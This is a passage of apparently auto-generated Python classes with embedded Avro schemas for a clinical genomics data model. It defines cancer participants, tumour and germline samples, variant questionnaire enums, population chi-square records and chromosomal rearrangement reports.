"clinicalSampleDateTime", "type": ["null", "string"], "doc": ""}, {"name": "tumourType", "type": ["null", {"type": "enum", "name": "TumourType", "symbols": ["PRIMARY", "METASTATIC_RECURRENCE", "RECURRENCE_OF_PRIMARY_TUMOUR", "METASTASES"]}], "doc": ""}, {"name": "tumourContent", "type": ["null", {"type": "enum", "name": "TumourContent", "symbols": ["High", "Medium", "Low"]}], "doc": ""}, {"name": "source", "type": ["null", {"type": "enum", "name": "SampleSource", "doc": "", "symbols": ["TUMOUR", "BONE_MARROW_ASPIRATE_TUMOUR_SORTED_CELLS", "BONE_MARROW_ASPIRATE_TUMOUR_CELLS", "BLOOD", "SALIVA", "FIBROBLAST", "TISSUE"]}], "doc": ""}, {"name": "preparationMethod", "type": ["null", {"type": "enum", "name": "PreparationMethod", "symbols": ["EDTA", "ORAGENE", "FF", "FFPE", "CD128_SORTED_CELLS", "ASPIRATE"]}], "doc": ""}, {"name": "tissueSource", "type": ["null", {"type": "enum", "name": "TissueSource", "symbols": ["BMA_TUMOUR_SORTED_CELLS", "CT_GUIDED_BIOPSY", "ENDOSCOPIC_BIOPSY", "ENDOSCOPIC_ULTRASOUND_GUIDED_BIOPSY", "ENDOSCOPIC_ULTRASOUND_GUIDED_FNA", "LAPAROSCOPIC_BIOPSY", "LAPAROSCOPIC_EXCISION", "MRI_GUIDED_BIOPSY", "NON_GUIDED_BIOPSY", "SURGICAL_RESECTION", "STEREOTACTICALLY_GUIDED_BIOPSY", "USS_GUIDED_BIOPSY", "NON_STANDARD_BIOPSY", "NOT_SPECIFIED"]}], "doc": ""}, {"name": "product", "type": ["null", {"type": "enum", "name": "Product", "symbols": ["DNA", "RNA"]}], "doc": ""}, {"name": "morphologyICD", "type": ["null", "string"], "doc": ""}, {"name": "morphologySnomedCT", "type": ["null", "string"], "doc": ""}, {"name": "morphologySnomedRT", "type": ["null", "string"], "doc": ""}, {"name": "topographyICD", "type": ["null", "string"], "doc": ""}, {"name": "topographySnomedCT", "type": ["null", "string"], "doc": ""}, {"name": "topographySnomedRT", "type": ["null", "string"], "doc": ""}]}}, "doc": ""}, {"name": "germlineSamples", "type": {"type": "array", "items": {"type": "record", "name": "GermlineSample", "doc": "", "fields": [{"name": "sampleId", "type": "string", "doc": ""}, {"name": "labSampleId", "type": "int", "doc": ""}, {"name": "LDPCode", "type": "string", "doc": ""}, {"name": "source", "type": ["null", "SampleSource"], "doc": ""}, {"name": "product", "type": ["null", "Product"], "doc": ""}, {"name": "preparationMethod", "type": ["null", "PreparationMethod"], "doc": ""}, {"name": "programmePhase", "type": ["null", "ProgrammePhase"], "doc": ""}, {"name": "clinicalSampleDateTime", "type": ["null", "string"], "doc": ""}]}}, "doc": ""}, {"name": "matchedSamples", "type": {"type": "array", "items": {"type": "record", "name": "MatchedSamples", "doc": "", "fields": [{"name": "germlineSampleId", "type": ["null", "string"], "doc": ""}, {"name": "tumourSampleId", "type": ["null", "string"], "doc": ""}]}}, "doc": ""}, {"name": "versionControl", "type": ["null", {"type": "record", "name": "VersionControl", "fields": [{"name": "GitVersionControl", "type": "string", "doc": "", "default": "1.1.0"}]}], "doc": ""}]}], "doc": ""}, {"name": "otherFamilyHistory", "type": ["null", {"type": "record", "name": "OtherFamilyHistory", "doc": "", "fields": [{"name": "maternalFamilyHistory", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "paternalFamilyHistory", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}]}], "doc": ""}, {"name": "genePanelsCoverage", "type": ["null", {"type": "map", "values": {"type": "map", "values": {"type": "map", "values": "float"}}}], "doc": ""}, {"name": "interpretationFlags", "type": ["null", {"type": "array", "items": {"type": "record", "name": "InterpretationFlag", "doc": "", "fields": [{"name": "interpretationFlag", "type": {"type": "enum", "name": "InterpretationFlags", "doc": "", "symbols": ["mixed_chemistries", "mixedLab_preparation", "low_tumour_purity", "uniparental_isodisomy", "uniparental_heterodisomy", "unusual_karyotype", "high_cnv_count", "high_estimate_human_contamination_fraction", "mixed_recruiting_gmc", "suspected_mosaicism", "low_quality_sample", "ffpe_tumour_sample", "ff_nano_tumour_sample", "missing_values_for_proband_in_reported_variant", "reissued", "supplementary_report_errors", "internal_use_only", "high_priority", "other"]}, "doc": ""}, {"name": "additionalDescription", "type": ["null", "string"], "doc": ""}]}}], "doc": ""}, {"name": "additionalInfo", "type": ["null", {"type": "map", "values": "string"}], "doc": ""}]} """ schema = avro_parse(_schemaSource) requiredFields = { "additionalInfo", "annotationFile", "bams", "bigWigs", "cancerParticipant", "genePanelsCoverage", "genomeAssembly", "internalStudyId", "interpretationFlags", "interpretationRequestId", "interpretationRequestVersion", "otherFamilyHistory", "otherFiles", "participantInternalId", "vcfs", "versionControl", "workspace", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = { 'annotationFile': File, 'bams': File, 'bigWigs': File, 'cancerParticipant': CancerParticipant, 'interpretationFlags': InterpretationFlag, 'otherFamilyHistory': OtherFamilyHistory, 'otherFiles': File, 'vcfs': File, 'versionControl': ReportVersionControl, } return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = { 'annotationFile': File, 'bams': File, 'bigWigs': File, 'cancerParticipant': CancerParticipant, 'interpretationFlags': InterpretationFlag, 'otherFamilyHistory': OtherFamilyHistory, 'otherFiles': File, 'vcfs': File, 'versionControl': ReportVersionControl, } return embeddedTypes[fieldName] __slots__ = [ 'additionalInfo', 'annotationFile', 'bams', 'bigWigs', 'cancerParticipant', 'genePanelsCoverage', 'genomeAssembly', 'internalStudyId', 'interpretationFlags', 'interpretationRequestId', 'interpretationRequestVersion', 'otherFamilyHistory', 'otherFiles', 'participantInternalId', 'vcfs', 'versionControl', 'workspace' ] def __init__(self, **kwargs): self.additionalInfo = kwargs.get( 'additionalInfo', None) self.annotationFile = kwargs.get( 'annotationFile', None) self.bams = kwargs.get( 'bams', None) self.bigWigs = kwargs.get( 'bigWigs', None) self.cancerParticipant = kwargs.get( 'cancerParticipant', None) self.genePanelsCoverage = kwargs.get( 'genePanelsCoverage', None) self.genomeAssembly = kwargs.get( 'genomeAssembly', None) self.internalStudyId = kwargs.get( 'internalStudyId', None) self.interpretationFlags = kwargs.get( 'interpretationFlags', None) self.interpretationRequestId = kwargs.get( 'interpretationRequestId', None) self.interpretationRequestVersion = kwargs.get( 'interpretationRequestVersion', None) self.otherFamilyHistory = kwargs.get( 'otherFamilyHistory', None) self.otherFiles = kwargs.get( 'otherFiles', None) self.participantInternalId = kwargs.get( 'participantInternalId', None) self.vcfs = kwargs.get( 'vcfs', None) self.versionControl = kwargs.get( 'versionControl', ReportVersionControl()) self.workspace = kwargs.get( 'workspace', None) class CancerParticipant(ProtocolElement): """ This defines a Cancer Participant """ _schemaSource = """ {"type": "record", "name": "CancerParticipant", "namespace": "org.gel.models.participant.avro", "doc": "", "fields": [{"name": "yearOfBirth", "type": ["null", "int"], "doc": ""}, {"name": "morphology", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "readyForAnalysis", "type": "boolean", "doc": ""}, {"name": "consentStatus", "type": ["null", {"type": "record", "name": "ConsentStatus", "doc": "", "fields": [{"name": "programmeConsent", "type": "boolean", "doc": "", "default": false}, {"name": "primaryFindingConsent", "type": "boolean", "doc": "", "default": false}, {"name": "secondaryFindingConsent", "type": "boolean", "doc": "", "default": false}, {"name": "carrierStatusConsent", "type": "boolean", "doc": "", "default": false}]}], "doc": ""}, {"name": "center", "type": ["null", "string"], "doc": ""}, {"name": "individualId", "type": "string", "doc": ""}, {"name": "primaryDiagnosisDisease", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "primaryDiagnosisSubDisease", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "sex", "type": {"type": "enum", "name": "Sex", "doc": "", "symbols": ["MALE", "FEMALE", "UNKNOWN"]}, "doc": ""}, {"name": "additionalInformation", "type": ["null", {"type": "map", "values": "string"}], "doc": ""}, {"name": "assignedICD10", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "tumourSamples", "type": {"type": "array", "items": {"type": "record", "name": "TumourSample", "doc": "", "fields": [{"name": "sampleId", "type": "string", "doc": ""}, {"name": "labSampleId", "type": "int", "doc": ""}, {"name": "LDPCode", "type": "string", "doc": ""}, {"name": "tumourId", "type": "string", "doc": ""}, {"name": "programmePhase", "type": ["null", {"type": "enum", "name": "ProgrammePhase", "symbols": ["CRUK", "OXFORD", "CLL", "IIP", "MAIN", "EXPT"]}], "doc": ""}, {"name": "diseaseType", "type": ["null", {"type": "enum", "name": "diseaseType", "symbols": ["ADULT_GLIOMA", "BLADDER", "BREAST", "CARCINOMA_OF_UNKNOWN_PRIMARY", "CHILDHOOD", "COLORECTAL", "ENDOCRINE", "ENDOMETRIAL_CARCINOMA", "HAEMONC", "HEPATOPANCREATOBILIARY", "LUNG", "MALIGNANT_MELANOMA", "NASOPHARYNGEAL", "ORAL_OROPHARYNGEAL", "OVARIAN", "PROSTATE", "RENAL", "SARCOMA", "SINONASAL", "TESTICULAR_GERM_CELL_TUMOURS", "UPPER_GASTROINTESTINAL", "OTHER", "NON_HODGKINS_B_CELL_LYMPHOMA_LOW_MOD_GRADE", "CLASSICAL_HODGKINS", "NODULAR_LYMPHOCYTE_PREDOMINANT_HODGKINS", "T_CELL_LYMPHOMA"]}], "doc": ""}, {"name": "diseaseSubType", "type": ["null", "string"], "doc": ""}, {"name": "clinicalSampleDateTime", "type": ["null", "string"], "doc": ""}, {"name": "tumourType", "type": ["null", {"type": "enum", "name": "TumourType", "symbols": ["PRIMARY", "METASTATIC_RECURRENCE", "RECURRENCE_OF_PRIMARY_TUMOUR", "METASTASES"]}], "doc": ""}, {"name": "tumourContent", "type": ["null", {"type": "enum", "name": "TumourContent", "symbols": ["High", "Medium", "Low"]}], "doc": ""}, {"name": "source", "type": ["null", {"type": "enum", "name": "SampleSource", "doc": "", "symbols": ["TUMOUR", "BONE_MARROW_ASPIRATE_TUMOUR_SORTED_CELLS", "BONE_MARROW_ASPIRATE_TUMOUR_CELLS", "BLOOD", "SALIVA", "FIBROBLAST", "TISSUE"]}], "doc": ""}, {"name": "preparationMethod", "type": ["null", {"type": "enum", "name": "PreparationMethod", "symbols": ["EDTA", "ORAGENE", "FF", "FFPE", "CD128_SORTED_CELLS", "ASPIRATE"]}], "doc": ""}, {"name": "tissueSource", "type": ["null", {"type": "enum", "name": "TissueSource", "symbols": ["BMA_TUMOUR_SORTED_CELLS", "CT_GUIDED_BIOPSY", "ENDOSCOPIC_BIOPSY", "ENDOSCOPIC_ULTRASOUND_GUIDED_BIOPSY", "ENDOSCOPIC_ULTRASOUND_GUIDED_FNA", "LAPAROSCOPIC_BIOPSY", "LAPAROSCOPIC_EXCISION", "MRI_GUIDED_BIOPSY", "NON_GUIDED_BIOPSY", "SURGICAL_RESECTION", "STEREOTACTICALLY_GUIDED_BIOPSY", "USS_GUIDED_BIOPSY", "NON_STANDARD_BIOPSY", "NOT_SPECIFIED"]}], "doc": ""}, {"name": "product", "type": ["null", {"type": "enum", "name": "Product", "symbols": ["DNA", "RNA"]}], "doc": ""}, {"name": "morphologyICD", "type": ["null", "string"], "doc": ""}, {"name": "morphologySnomedCT", "type": ["null", "string"], "doc": ""}, {"name": "morphologySnomedRT", "type": ["null", "string"], "doc": ""}, {"name": "topographyICD", "type": ["null", "string"], "doc": ""}, {"name": "topographySnomedCT", "type": ["null", "string"], "doc": ""}, {"name": "topographySnomedRT", "type": ["null", "string"], "doc": ""}]}}, "doc": ""}, {"name": "germlineSamples", "type": {"type": "array", "items": {"type": "record", "name": "GermlineSample", "doc": "", "fields": [{"name": "sampleId", "type": "string", "doc": ""}, {"name": "labSampleId", "type": "int", "doc": ""}, {"name": "LDPCode", "type": "string", "doc": ""}, {"name": "source", "type": ["null", "SampleSource"], "doc": ""}, {"name": "product", "type": ["null", "Product"], "doc": ""}, {"name": "preparationMethod", "type": ["null", "PreparationMethod"], "doc": ""}, {"name": "programmePhase", "type": ["null", "ProgrammePhase"], "doc": ""}, {"name": "clinicalSampleDateTime", "type": ["null", "string"], "doc": ""}]}}, "doc": ""}, {"name": "matchedSamples", "type": {"type": "array", "items": {"type": "record", "name": "MatchedSamples", "doc": "", "fields": [{"name": "germlineSampleId", "type": ["null", "string"], "doc": ""}, {"name": "tumourSampleId", "type": ["null", "string"], "doc": ""}]}}, "doc": ""}, {"name": "versionControl", "type": ["null", {"type": "record", "name": "VersionControl", "fields": [{"name": "GitVersionControl", "type": "string", "doc": "", "default": "1.1.0"}]}], "doc": ""}]} """ schema = avro_parse(_schemaSource) requiredFields = { "additionalInformation", "assignedICD10", "center", "consentStatus", "germlineSamples", "individualId", "matchedSamples", "morphology", "primaryDiagnosisDisease", "primaryDiagnosisSubDisease", "readyForAnalysis", "sex", "tumourSamples", "versionControl", "yearOfBirth", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = { 'consentStatus': ConsentStatus, 'germlineSamples': GermlineSample, 'matchedSamples': MatchedSamples, 'tumourSamples': TumourSample, 'versionControl': VersionControl, } return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = { 'consentStatus': ConsentStatus, 'germlineSamples': GermlineSample, 'matchedSamples': MatchedSamples, 'tumourSamples': TumourSample, 'versionControl': VersionControl, } return embeddedTypes[fieldName] __slots__ = [ 'additionalInformation', 'assignedICD10', 'center', 'consentStatus', 'germlineSamples', 'individualId', 'matchedSamples', 'morphology', 'primaryDiagnosisDisease', 'primaryDiagnosisSubDisease', 'readyForAnalysis', 'sex', 'tumourSamples', 'versionControl', 'yearOfBirth' ] def __init__(self, **kwargs): self.additionalInformation = kwargs.get( 'additionalInformation', None) self.assignedICD10 = kwargs.get( 'assignedICD10', None) self.center = kwargs.get( 'center', None) self.consentStatus = kwargs.get( 'consentStatus', None) self.germlineSamples = kwargs.get( 'germlineSamples', None) self.individualId = kwargs.get( 'individualId', None) self.matchedSamples = kwargs.get( 'matchedSamples', None) self.morphology = kwargs.get( 'morphology', None) self.primaryDiagnosisDisease = kwargs.get( 'primaryDiagnosisDisease', None) self.primaryDiagnosisSubDisease = kwargs.get( 'primaryDiagnosisSubDisease', None) self.readyForAnalysis = kwargs.get( 'readyForAnalysis', None) self.sex = kwargs.get( 'sex', None) self.tumourSamples = kwargs.get( 'tumourSamples', None) self.versionControl = kwargs.get( 'versionControl', None) self.yearOfBirth = kwargs.get( 'yearOfBirth', None) class CancerSomaticVariantLevelQuestions(ProtocolElement): """ The questions for the cancer program exit questionnaire for somatic variants """ _schemaSource = """ {"type": "record", "name": "CancerSomaticVariantLevelQuestions", "namespace": "org.gel.models.report.avro", "doc": "", "fields": [{"name": "variantCoordinates", "type": {"type": "record", "name": "VariantCoordinates", "doc": "", "fields": [{"name": "chromosome", "type": "string", "doc": ""}, {"name": "position", "type": "int", "doc": ""}, {"name": "reference", "type": "string", "doc": ""}, {"name": "alternate", "type": "string", "doc": ""}, {"name": "assembly", "type": {"type": "enum", "name": "Assembly", "doc": "", "symbols": ["GRCh38", "GRCh37"]}, "doc": ""}]}, "doc": ""}, {"name": "variantActionability", "type": {"type": "array", "items": {"type": "enum", "name": "CancerActionabilitySomatic", "doc": "", "symbols": ["predicts_therapeutic_response", "prognostic", "defines_diagnosis_group", "eligibility_for_trial", "other"]}}, "doc": ""}, {"name": "otherVariantActionability", "type": ["null", "string"], "doc": ""}, {"name": "variantUsability", "type": {"type": "enum", "name": "CancerUsabilitySomatic", "doc": "", "symbols": ["already_actioned", "actioned_result_of_this_wga", "not_yet_actioned"]}, "doc": ""}, {"name": "variantTested", "type": {"type": "enum", "name": "CancerTested", "doc": "", "symbols": ["not_indicated_for_patient_care", "no_orthologous_test_available", "test_performed_prior_to_wga", "technical_validation_following_wga"]}, "doc": ""}, {"name": "validationAssayType", "type": "string", "doc": ""}]} """ schema = avro_parse(_schemaSource) requiredFields = { "otherVariantActionability", "validationAssayType", "variantActionability", "variantCoordinates", "variantTested", "variantUsability", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = { 'variantCoordinates': VariantCoordinates, } return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = { 'variantCoordinates': VariantCoordinates, } return embeddedTypes[fieldName] __slots__ = [ 'otherVariantActionability', 'validationAssayType', 'variantActionability', 'variantCoordinates', 'variantTested', 'variantUsability' ] def __init__(self, **kwargs): self.otherVariantActionability = kwargs.get( 'otherVariantActionability', None) self.validationAssayType = kwargs.get( 'validationAssayType', None) self.variantActionability = kwargs.get( 'variantActionability', None) self.variantCoordinates = kwargs.get( 'variantCoordinates', VariantCoordinates()) self.variantTested = kwargs.get( 'variantTested', None) self.variantUsability = kwargs.get( 'variantUsability', None) class CancerTested(object): """ Was the variant validated with an orthogonal technology? * `not_indicated_for_patient_care`: No: not indicated for patient care at this time * `no_orthologous_test_available`: No: no orthologous test available * `test_performed_prior_to_wga`: Yes: test performed prior to receiving WGA (eg using standard-of-care assay such as panel testing, or sanger sequencing) * `technical_validation_following_WGA`: Yes: technical validation performed/planned following receiving this WGA """ not_indicated_for_patient_care = "not_indicated_for_patient_care" no_orthologous_test_available = "no_orthologous_test_available" test_performed_prior_to_wga = "test_performed_prior_to_wga" technical_validation_following_wga = "technical_validation_following_wga" def __hash__(self): return str(self).__hash__() class CancerTestedAdditional(object): """ An enumeration Variant tested: * `not_indicated_for_patient_care`: No: not indicated for patient care at this time * `no_orthologous_test_available`: No: no orthologous test available * `test_performed_prior_to_wga`: Yes: test performed prior to receiving WGA (eg using standard-of-care assay such as panel testing, or sanger sequencing) * `technical_validation_following_wga`: Yes: technical validation performed/planned following receiving this WGA * `na`: N/A """ not_indicated_for_patient_care = "not_indicated_for_patient_care" no_orthologous_test_available = "no_orthologous_test_available" test_performed_prior_to_wga = "test_performed_prior_to_wga" technical_validation_following_wga = "technical_validation_following_wga" na = "na" def __hash__(self): return str(self).__hash__() class CancerUsabilityGermline(object): """ Variant usability for germline variants: * `already_actioned`: Already actioned (i.e. prior to receiving this WGA) * `actioned_result_of_this_wga`: actioned as a result of receiving this WGA """ already_actioned = "already_actioned" actioned_result_of_this_wga = "actioned_result_of_this_wga" def __hash__(self): return str(self).__hash__() class CancerUsabilitySomatic(object): """ Variant usability for somatic variants: * `already_actioned`: Already actioned (i.e. prior to receiving this WGA) * `actioned_result_of_this_wga`: actioned as a result of receiving this WGA * `not_yet_actioned`: not yet actioned, but potentially actionable in the future """ already_actioned = "already_actioned" actioned_result_of_this_wga = "actioned_result_of_this_wga" not_yet_actioned = "not_yet_actioned" def __hash__(self): return str(self).__hash__() class CaseSolvedFamily(object): """ No documentation """ yes = "yes" no = "no" partially = "partially" unknown = "unknown" def __hash__(self): return str(self).__hash__() class ChiSquare1KGenomesPhase3Pop(ProtocolElement): """ Chi-square test for goodness of fit of this sample to 1000 Genomes Phase 3 populations """ _schemaSource = """ {"type": "record", "name": "ChiSquare1KGenomesPhase3Pop", "namespace": "org.gel.models.participant.avro", "doc": "", "fields": [{"name": "kgSuperPopCategory", "type": {"type": "enum", "name": "KgSuperPopCategory", "doc": "", "symbols": ["AFR", "AMR", "EAS", "EUR", "SAS"]}, "doc": ""}, {"name": "kgPopCategory", "type": ["null", {"type": "enum", "name": "KgPopCategory", "doc": "", "symbols": ["ACB", "ASW", "BEB", "CDX", "CEU", "CHB", "CHS", "CLM", "ESN", "FIN", "GBR", "GIH", "GWD", "IBS", "ITU", "JPT", "KHV", "LWK", "MSL", "MXL", "PEL", "PJL", "PUR", "STU", "TSI", "YRI"]}], "doc": ""}, {"name": "chiSquare", "type": "double", "doc": ""}]} """ schema = avro_parse(_schemaSource) requiredFields = { "chiSquare", "kgPopCategory", "kgSuperPopCategory", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = {} return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = {} return embeddedTypes[fieldName] __slots__ = [ 'chiSquare', 'kgPopCategory', 'kgSuperPopCategory' ] def __init__(self, **kwargs): self.chiSquare = kwargs.get( 'chiSquare', None) self.kgPopCategory = kwargs.get( 'kgPopCategory', None) self.kgSuperPopCategory = kwargs.get( 'kgSuperPopCategory', None) class ChromosomalRearrangement(ProtocolElement): """ No documentation """ _schemaSource = """ {"type": "record", "name": "ChromosomalRearrangement", "namespace": "org.gel.models.report.avro", "fields": [{"name": "breakPoints", "type": ["null", {"type": "array", "items": {"type": "record", "name": "BreakPoint", "fields": [{"name": "coordinates", "type": {"type": "record", "name": "Coordinates", "fields": [{"name": "assembly", "type": {"type": "enum", "name": "Assembly", "doc": "", "symbols": ["GRCh38", "GRCh37"]}}, {"name": "chromosome", "type": "string"}, {"name": "start", "type": "int"}, {"name": "end", "type": "int"}, {"name": "ciStart", "type": ["null", {"type": "record", "name": "ConfidenceInterval", "fields": [{"name": "left", "type": "int"}, {"name": "right", "type": "int"}]}]}, {"name": "ciEnd", "type": ["null", "ConfidenceInterval"]}]}}, {"name": "reference", "type": ["null", "string"]}, {"name": "alternate", "type": ["null", "string"]}, {"name": "info", "type": ["null", {"type": "map", "values": "string"}]}]}}]}, {"name": "rearrangements", "type": {"type": "array", "items": {"type": "record", "name": "Rearrangement", "fields": [{"name": "leftCoordinates", "type": "Coordinates"}, {"name": "rightCoordinates", "type": "Coordinates"}, {"name": "orientation", "type": {"type": "enum", "name": "Orientation", "symbols": ["start_start", "start_end", "end_end"]}}, {"name": "leftInsSeq", "type": ["null", "string"]}, {"name": "rightInsSeq", "type": ["null", "string"]}]}}}, {"name": "reportEvents", "type": {"type": "array", "items": {"type": "record", "name": "ReportEvent", "doc": "", "fields": [{"name": "reportEventId", "type": "string", "doc": ""}, {"name": "phenotypes", "type": {"type": "record", "name": "Phenotypes", "doc": "", "fields": [{"name": "nonStandardPhenotype", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "standardPhenotypes", "type": ["null", {"type": "array", "items": {"type": "record", "name": "StandardPhenotype", "doc": "", "fields": [{"name": "id", "type": "string"}, {"name": "name", "type": ["null", "string"]}, {"name": "namespace", "type": ["null", "string"]}, {"name": "definition", "type": ["null", "string"]}, {"name": "comment", "type": ["null", "string"]}, {"name": "alternativeIds", "type": ["null", "string"]}, {"name": "synonyms", "type": ["null", "string"]}, {"name": "isA", "type": ["null", "string"]}, {"name": "ontology", "type": {"type": "record", "name": "Ontology", "doc": "", "fields": [{"name": "name", "type": "string"}, {"name": "version", "type": "string"}]}, "doc": ""}, {"name": "matchScore", "type": ["null", "float"], "doc": ""}]}}], "doc": ""}]}, "doc": ""}, {"name": "variantConsequences", "type": {"type": "array", "items": {"type": "record", "name": "VariantConsequence", "doc": "", "fields": [{"name": "id", "type": "string", "doc": ""}, {"name": "name", "type": ["null", "string"], "doc": ""}]}}, "doc": ""}, {"name": "genePanel", "type": ["null", {"type": "record", "name": "GenePanel", "doc": "", "fields": [{"name": "panelIdentifier", "type": ["null", "string"], "doc": ""}, {"name": "panelName", "type": ["null", "string"], "doc": ""}, {"name": "panelVersion", "type": ["null", "string"], "doc": ""}, {"name": "source", "type": ["null", "string"], "doc": ""}]}], "doc": ""}, {"name": "modeOfInheritance", "type": {"type": "enum", "name": "ModeOfInheritance", "doc": "", "symbols": ["monoallelic", "monoallelic_not_imprinted", "monoallelic_maternally_imprinted", "monoallelic_paternally_imprinted", "biallelic", "monoallelic_and_biallelic", "monoallelic_and_more_severe_biallelic", "xlinked_biallelic", "xlinked_monoallelic", "mitochondrial", "unknown", "na"]}, "doc": ""}, {"name": "genomicEntities", "type": {"type": "array", "items": {"type": "record", "name": "GenomicEntity", "doc": "", "fields": [{"name": "type", "type": {"type": "enum", "name": "GenomicEntityType", "doc": "", "symbols": ["regulatory_region", "gene", "transcript", "intergenic", "gene_fusion", "genomic_region", "cytobands"]}, "doc": ""}, {"name": "ensemblId", "type": ["null", "string"], "doc": ""}, {"name": "geneSymbol", "type": ["null", "string"], "doc": ""}, {"name": "otherIds", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Identifier", "fields": [{"name": "source", "type": "string", "doc": ""}, {"name": "identifier", "type": "string", "doc": ""}]}}], "doc": ""}]}}, "doc": ""}, {"name": "segregationPattern", "type": ["null", {"type": "enum", "name": "SegregationPattern", "symbols": ["UniparentalIsodisomy", "SimpleRecessive", "CompoundHeterozygous", "deNovo", "InheritedAutosomalDominant", "InheritedAutosomalDominantMaternallyImprinted", "InheritedAutosomalDominantPaternallyImprinted", "XLinkedCompoundHeterozygous", "XLinkedSimpleRecessive", "XLinkedMonoallelic", "MitochondrialGenome"]}], "doc": ""}, {"name": "penetrance", "type": ["null", {"type": "enum", "name": "Penetrance", "namespace": "org.gel.models.participant.avro", "doc": "", "symbols": ["complete", "incomplete"]}], "doc": ""}, {"name": "deNovoQualityScore", "type": ["null", "float"], "doc": ""}, {"name": "fullyExplainsPhenotype", "type": ["null", "boolean"], "doc": ""}, {"name": "groupOfVariants", "type": ["null", "int"], "doc": ""}, {"name": "eventJustification", "type": ["null", "string"], "doc": ""}, {"name": "roleInCancer", "type": ["null", {"type": "array", "items": {"type": "enum", "name": "RoleInCancer", "doc": "", "symbols": ["oncogene", "tumor_suppressor_gene", "both"]}}], "doc": ""}, {"name": "actions", "type": ["null", {"type": "record", "name": "Actions", "doc": "", "fields": [{"name": "trials", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Trial", "fields": [{"name": "studyUrl", "type": "string", "doc": ""}, {"name": "studyIdentifier", "type": "string", "doc": ""}, {"name": "startDate", "type": ["null", "string"], "doc": ""}, {"name": "estimateCompletionDate", "type": ["null", "string"], "doc": ""}, {"name": "title", "type": ["null", "string"], "doc": ""}, {"name": "phase", "type": ["null", {"type": "enum", "name": "StudyPhase", "doc": "", "symbols": ["na", "early_phase1", "phase1", "phase1_phase2", "phase2", "phase2_phase3", "phase3", "phase4"]}], "doc": ""}, {"name": "interventions", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Intervention", "doc": "", "fields": [{"name": "interventionType", "type": {"type": "enum", "name": "InterventionType", "doc": "", "symbols": ["drug", "device", "procedure", "biological", "radiation", "behavioral", "genetic", "dietary_supplement", "combination_product", "diagnostic_test", "other"]}, "doc": ""}, {"name": "interventionName", "type": "string", "doc": ""}]}}], "doc": ""}, {"name": "conditions", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "primaryPurpose", "type": ["null", {"type": "enum", "name": "PrimaryPurpose", "doc": "", "symbols": ["treatment", "prevention", "diagnostic", "supportive_care", "screening", "health_services_research", "basic_science", "device_feasibility", "other"]}], "doc": ""}, {"name": "studyType", "type": ["null", {"type": "enum", "name": "StudyType", "doc": "", "symbols": ["interventional", "observational", "patient_registry", "expanded_access"]}], "doc": ""}, {"name": "demogrphicElegibilityCriteria", "type": ["null", {"type": "record", "name": "DemographicElegibilityCriteria", "fields": [{"name": "sex", "type": {"type": "enum", "name": "Sex", "namespace": "org.gel.models.participant.avro", "doc": "", "symbols": ["MALE", "FEMALE", "UNKNOWN"]}}, {"name": "ageRange", "type": ["null", {"type": "record", "name": "AgeRange", "fields": [{"name": "minimumAge", "type": "int"}, {"name": "maximumAge", "type": "int"}, {"name": "timeunit", "type": {"type": "enum", "name": "TimeUnit", "symbols": ["years", "months", "weeks", "days", "hours", "minutes", "na"]}}]}]}]}], "doc": ""}, {"name": "locations", "type": ["null", {"type": "array", "items": {"type": "record", "name": "TrialLocation", "fields": [{"name": "name", "type": ["null", "string"]}, {"name": "city", "type": ["null", "string"]}, {"name": "country", "type": ["null", "string"]}, {"name": "zip", "type": ["null", "string"]}]}}], "doc": ""}, {"name": "variantActionable", "type": "boolean", "doc": ""}]}}]}, {"name": "prognosis", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Prognosis", "fields": [{"name": "referenceUrl", "type": "string", "doc": ""}, {"name": "prognosis", "type": ["null", {"type": "enum", "name": "PrognosisClassification", "symbols": ["altered_prognosis", "favourable_prognosis", "unfavourable_prognosis"]}], "doc": ""}, {"name": "source", "type": ["null", "string"], "doc": ""}, {"name": "references", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "conditions", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "description", "type": ["null", "string"], "doc": ""}, {"name": "variantActionable", "type": "boolean", "doc": ""}]}}]}, {"name": "therapies", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Therapy", "fields": [{"name": "referenceUrl", "type": "string", "doc": ""}, {"name": "source", "type": ["null", "string"], "doc": ""}, {"name": "references", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "conditions", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "drugResponse", "type": ["null", {"type": "array", "items": {"type": "record", "name": "DrugResponse", "fields": [{"name": "TreatmentAgent", "type": "string", "doc": ""}, {"name": "drugResponseClassification", "type": {"type": "enum", "name": "DrugResponseClassification", "symbols": ["altered_sensitivity", "reduced_sensitivity", "increased_sensitivity", "altered_resistance", "increased_resistance", "reduced_resistance", "increased_risk_of_toxicity", "reduced_risk_of_toxicity", "altered_toxicity", "adverse_drug_reaction", "indication", "contraindication", "dosing_alteration", "increased_dose", "reduced_dose", "increased_monitoring", "increased_efficacy", "reduced_efficacy", "altered_efficacy"]}, "doc": ""}]}}], "doc": ""}, {"name": "otherInterventions", "type": ["null", {"type": "array", "items": "Intervention"}], "doc": ""}, {"name": "variantActionable", "type": "boolean", "doc": ""}]}}]}]}], "doc": ""}, {"name": "score", "type": ["null", "float"], "doc": ""}, {"name": "vendorSpecificScores", "type": ["null", {"type": "map", "values": "float"}], "doc": ""}, {"name": "variantClassification", "type": ["null", {"type": 